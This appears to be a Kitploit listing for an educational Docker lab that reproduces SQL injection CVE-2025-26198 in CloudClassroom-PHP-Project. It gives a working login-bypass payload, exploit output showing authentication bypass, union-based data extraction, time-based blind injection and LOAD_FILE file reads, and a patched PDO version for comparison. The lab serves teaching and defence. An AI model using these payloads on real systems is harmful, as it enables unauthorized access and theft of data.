CVE-2025-26198 — CloudClassroom-PHP-ProjectにおけるCVE-2025-26198 SQLインジェクションの教育的再現。4つの悪用手法（ブール、ユニオン、時間ベース、ファイル読み取り）とパッチ適用版の比較を示します。 | Kitploit

CVE-2025-26198 — CloudClassroom-PHP-ProjectにおけるCVE-2025-26198 SQLインジェクションの教育的再現。4つの悪用手法（ブール、ユニオン、時間ベース、ファイル読み取り）とパッチ適用版の比較を示します。 | Kitploit

# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

項目	脆弱バージョン	パッチ適用バージョン
SQLクエリ	直接連結	PDOプリペアドステートメント
入力検証	なし	英数字正規表現
出力エスケープ	なし	htmlspecialchars()
SQLインジェクション	悪用可能	ブロック
ログ	なし	error_log()

$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php